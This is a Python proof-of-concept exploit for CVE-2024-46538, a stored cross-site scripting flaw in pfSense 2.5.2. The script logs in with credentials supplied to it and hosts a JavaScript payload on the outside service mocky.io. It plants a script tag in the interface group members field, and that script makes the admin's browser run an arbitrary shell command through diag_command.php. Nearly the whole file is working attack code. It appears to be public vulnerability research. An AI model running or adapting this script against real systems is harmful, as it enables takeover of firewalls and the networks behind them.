import re
from faker import Faker
import random
import string
import uuid
import requests
import time
import sys
import rich_click as click

# Turn off the InsecureRequestWarning
requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)

# Banner
banner = """
                             .+@%%%@-                                                                        
                         .:%%=::::::@.                                                                       
                .-*@@@@%+-::=%@%+--:@.                                                                       
            :#@*-..#%-:::::::::+@:=%@@%@@%=                                                                  
         -@#:....:@-::::::::::::=@....=@#--@                                                                 
      .%#:.......:-:*%%%%%*-::::-@.......=@@.                                                                
     ##.....................-*%@%=.........-@:                                                               
   .@:.......................................#*                                                              
  -@..........................................+#      .:-----::..         .::..                              
 :@............................................+#   *@@@@@@@@@@@@@%   -%@@@@@@@@@@%-    *%@@@@@@@@%#.        
.@:.............................................%-  %@@@@@@@@@@@@@@: %@@@@@@@@@@@@@@- *@@@@@@@@@@@@@@-       
=#..............................................-@  %@@@@@@@@@@@@@@:-@@@@@@@@@@@@@@@-:@@@@@@@@@@@@@@@+       
#=...............................................@   .-=+++++%@@@@@:+@@@@:    -@@@@@--@@@@*....=@@@@@+       
@:...............................................@      .   .%@@@@@:+@@@@:    =@@@@@-=@@@@-    :@@@@@+       
@:...+@%*:..................:=#@+................@  *@@@@@@@@@@@@@@ +@@@@%::::%@@@@@-=@@@@*    *@@@@@+       
%-...............................................@  @@@@@@@@@@@@@@= +@@@@@@@@@@@@@@@--@@@@@@@@@@@@@@@+       
=#....+%@%+.................=#%%*-..............-@ .@@@@@@@@@@@@%:   %@@@@@@@@@@@@@@:.%@@@@@@@@@@@@@@=       
.@...%   .@@:.............+%    %@@:............#= .@@@@@.             -*%%@@@@@@@@@:  =%@@@@@@@@@@@@-       
 :@.-=   -+@+............:@.    *%@%...........=#  .@@@@@@@@@@@@@@*           %@@@@@.         .@@@@@@:       
  -@.=@@@%+#...=@%@@-.....:@@@@@  @:..........+%    @@@@@@@@@@@@@@@           @@@@@@          .@@@@@@.       
   :@-:::::....-++=+:#:.....:=++=:...........**     #@@@@@@@@@@@@@%           %@@@@#          .@@@@@#        
     %#::::.................:::::::........:@:        =%@@@@@@@@@%            #@@@@:           #@@@@+        
      .%#-::................:::::::......=@=                                                                 
         -@%:...........::..::::::::..=@#                                                                    
            @+@@%++*@#@+-:-+@*--=#%@*=**                                                                     
           %-:#.....%=........@=......:@                                                                     
           *+.......%-.............+#..@                                                                     
            @=......-@:......:%@%*#@@:.@#                                                                    
             -@%**#@+:%@*+@#+%...::..@.@-*%                                                                  
            :@.......%=.....@-..:@::%+.:::-@                                                                 
            %-......=#......%-..::--:...:::@.                                                                
            #+......:@......:@-::::::....:+%                                                                 
          -=+@=......+#.......%%-::::...-@*.                                                                 
       -+-::::+@@@@@@@=%@@@@@@@@@@@@@@@#-::-+:      Author: EQST(Experts, Qualified Security Team)                                                          
       .=++=-:::::::::::::--===+++++++++++++-       Github: https://github.com/EQSTLab/CVE-2024-46538                                                         
              .:--====--:.                                                                                   
                                                                                                             
Analysis base : https://github.com/physicszq/web_issue/blob/main/pfsense/interfaces_groups_edit_file.md_xss.md

=============================================================================================================    

CVE-2024-46538 : PfSense XSS Vulnerability
description: A cross-site scripting (XSS) vulnerability in pfsense v2.5.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the $pconfig variable at interfaces_groups_edit.php.

=============================================================================================================               
"""

class PfExploit:

    def __init__(self, id: str, pw: str, js: str, url: str, cmd: str):
        self.loginId = id
        self.loginPw = pw
        self.url = url
        self.cmd = cmd
        self.jsId = None
        self.jsUrl = js
        self.jsSecret = None
        self.fake = Faker()

    def greeting() -> None:
        print(banner)
        
    def spinner(duration=10, interval=0.1):
        spinner_chars = ['|', '/', '-', '\\']
        end_time = time.time() + duration
        while time.time() < end_time:
            for char in spinner_chars:
                sys.stdout.write(f'\r[{char}] Loading, please wait...')
                sys.stdout.flush()
                time.sleep(interval)
        print("")

    def add_protocol(self, url: str) -> str:
        if not url.startswith(('http://', 'https://')):
            return 'https://' + url
        return url

    def getJS(self) -> None:
        # Used api mocky to make callback
        url = "https://api.mocky.io/api/mock"
        cmd = self.cmd
        
        characters = string.ascii_letters # ascii letters to make random (Case sensitive)
        secretRandom = ''.join(random.choice(characters) for _ in range(36))

        body = {
                "status":200,
                "content":'var formData = new FormData();formData.append("__csrf_magic", csrfMagicToken);formData.append("txtCommand", "' + cmd + '");formData.append("txtRecallBuffer", "id");formData.append("submit", "EXEC");formData.append("dlPath", "");formData.append("ulfile", new Blob(), "");formData.append("txtPHPCommand", "");fetch("/diag_command.php", {method: "POST",body: formData}).then(response => response.text()).then(data => {const parser = new DOMParser();const doc = parser.parseFromString(data, "text/html");const contentDiv = doc.querySelector("div.content");if (contentDiv) {alert(contentDiv.textContent);} else {alert("No content found");}})',
                "content_type":"application/javascript",
                "charset":"UTF-8",
                "secret":f"{secretRandom}",
                "expiration":"never"
                }

        response = requests.post(url, json=body, verify=False)
        data = response.json()
        self.jsId = data.get('id')
        self.jsSecret = data.get('secret')
        self.jsUrl = f"{data.get('link')}/{str(uuid.uuid4())}.js"

    def deleteJS(self) -> None:
        url = f"https://api.mocky.io/api/mock/{self.jsId}"
        body = {"id":f"{self.jsId}","secret":f"{self.jsSecret}"}
        requests.delete(url, json=body, verify=False)
        
    def getCSRFToken(self, url, cookies="") -> str:
        url = f"{url}"
        response = requests.get(url, verify=False, cookies=cookies)
        match = re.search(r"<input type='hidden' name='__csrf_magic' value=\"([^\"]+)\"", response.text)
        if match:
            token = match.group(1).strip()
            return token
        else:
            print("[-] Failed to find login csrf token...")
            exit(1)

    def getSession(self) -> str:
        # Get login csrf token
        url = f"{self.add_protocol(self.url)}/index.php"
        token = self.getCSRFToken(url)
        response = requests.get(url, verify=False)
        match = re.search(r"<input type='hidden' name='__csrf_magic' value=\"([^\"]+)\"", response.text)
        if match:
            token = match.group(1).strip()
        else:
            print("[-] Failed to find login csrf token...")
            exit(1)
        # Get session id
        url = f"{self.add_protocol(self.url)}/index.php"
        datas = {
            '__csrf_magic':token,
            'usernamefld':self.loginId,
            'passwordfld':self.loginPw,
            'login':'Sign In'
        }
        response = requests.post(url, data=datas, verify=False, allow_redirects=False)
        if response.status_code == 302:
            sessid = response.cookies.get('PHPSESSID')
            print(f"[+] SESSIONID: {sessid}")
            return sessid
        else:
            print(f"[-] Login Failed...")
            exit(1)

    def storeScript(self) -> None:
        # Get csrf token
        url = f"{self.add_protocol(self.url)}/interfaces_groups_edit.php"
        sessid = self.getSession()
        cookies = {
            'PHPSESSID': sessid
        }
        token = self.getCSRFToken(url, cookies=cookies)
        # Stored XSS Attack
        url = f"{self.add_protocol(self.url)}/interfaces_groups_edit.php"
        datas = {
            '__csrf_magic':token,
            'ifname': self.fake.last_name(),
            'descr':'EQST_Lab_Pfsense_test',
            'members[]': f'<script/src="{self.jsUrl}"></script>wan',
            'save':'%E4%BF%9D%E5%AD%98'
        }
        response = requests.post(url, data=datas, cookies=cookies, verify=False, allow_redirects=False)
        if response.status_code == 302:
            print(f"[+] Done! Login Admin and check: \n{self.add_protocol(self.url)}/interfaces_groups.php")
            return sessid
        else:
            print(f"[-] Attack Failed...")
            exit(1)

# argument parsing with rich_click
@click.command()
@click.option(
    "-i",
    "--id",
    required=True,
    help="Specify a id to login",
)
@click.option(
    "-p",
    "--pw",
    required=True,
    help="Specify a password to login",
)
@click.option(
    "-u",
    "--url",
    required=True,
    help="Specify a URL or domain for vulnerability detection",
)
@click.option(
    "-c",
    "--cmd",
    default="id",
    help="Specify the command to execute",
)
@click.option(
    "-j",
    "--js",
    default="",
    help="[Optional] Specify a Callback javascript URL"
)

def main(id: str, pw: str, js: str, url: str, cmd: str) -> None:
    cve_exploit = PfExploit(id, pw, js, url, cmd)
    PfExploit.greeting()
    PfExploit.spinner(duration=1)
    # If js Url not exists
    if cve_exploit.jsUrl == "":
        cve_exploit.getJS()
    cve_exploit.storeScript()

if __name__ == "__main__":
    main()